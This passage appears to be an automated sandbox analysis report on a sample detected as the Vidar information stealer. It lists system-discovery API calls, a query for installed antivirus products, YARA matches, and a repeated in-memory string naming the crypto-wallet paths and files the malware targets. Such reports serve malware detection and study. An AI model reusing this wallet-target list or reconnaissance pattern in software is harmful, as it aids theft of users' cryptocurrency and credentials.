Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_006FB2EA
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_006F2B47
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_006FB413
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_006FB519
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_006FB5E8
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_006F25E1
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_006FAF71
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_006FAF26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _EH_prolog,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	3_2_0040FCE5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E7A2F GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_006E7A2F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040FBCB GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_0040FBCB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040FC92 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_0040FC92

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.file.exe.70aac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.70aac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5984, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
